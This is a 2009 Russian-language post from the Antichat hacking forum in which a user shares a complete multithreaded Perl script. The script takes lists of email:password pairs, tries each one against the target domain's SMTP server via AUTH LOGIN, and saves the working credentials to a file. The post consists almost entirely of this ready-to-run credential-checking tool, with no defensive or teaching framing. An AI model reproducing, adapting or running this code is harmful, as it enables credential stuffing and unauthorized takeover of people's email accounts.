ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

SMTP email bruteforce
  #11  
Старый 25.10.2009, 18:46
Аватар для Gaus
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
Smile SMTP email bruteforce

Код:
#!/usr/bin/perl
use IO::Socket;
use MIME::base64;
use threads;
use threads::shared;
use Fcntl ':flock';
############################
my $threads = 1;           # Кол-во потоков
my $acc_file = 'accs.txt'; # Файл с мылами(мыло:пасс)
my $good = 'good.txt';     # Файл с валидными мылами
my $acc_delm = ';';        # Разделитель списка мыл
my $port = 25;             # SMTP порт
my $timeout = 15;          # Таймаут
############################
system('title SMTP email brute by Gaus');
my @accs : shared = lf($acc_file);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
    while(@accs)
    {
        my ($mail, $pass) = split $acc_delm => shift @accs;
        my ($login, $domain) = split '@' => $mail;
        my $passw = MIME::Base64::encode($pass);
        $login = MIME::Base64::encode($login);
        $passw =~ s,\n,,;
        $login =~ s,\n,,;
        my $sock = new IO::Socket::INET(PeerAddr  => 'smtp.'.$domain,
                                        PeerPort  => $port,
                                        PeerProto => 'tcp',
                                        TimeOut   => $timeout);
        sysread $sock, $answ, 1024;
        print $sock "AUTH LOGIN\r\n";
        sysread $sock, $answ, 1024;
        print $sock "$login\r\n";
        sysread $sock, $answ, 1024;
        print $sock "$passw\r\n";
        sysread $sock, $answ, 1024;
        close $sock;
        if($answ =~ m,Authentication succeeded,i)
        {
            print "[ + ] $mail:$pass\n";
            wf($good, "$mail:$pass\n");
        }
        else
        {
            print "[ - ] $mail:$pass\n";
        }
    }
}
sub lf
{
    open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
    chomp(my @data = <$dat>);
    close $dat;
    return @data;
}
sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
}
#(c) Gaus 2009
Download
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ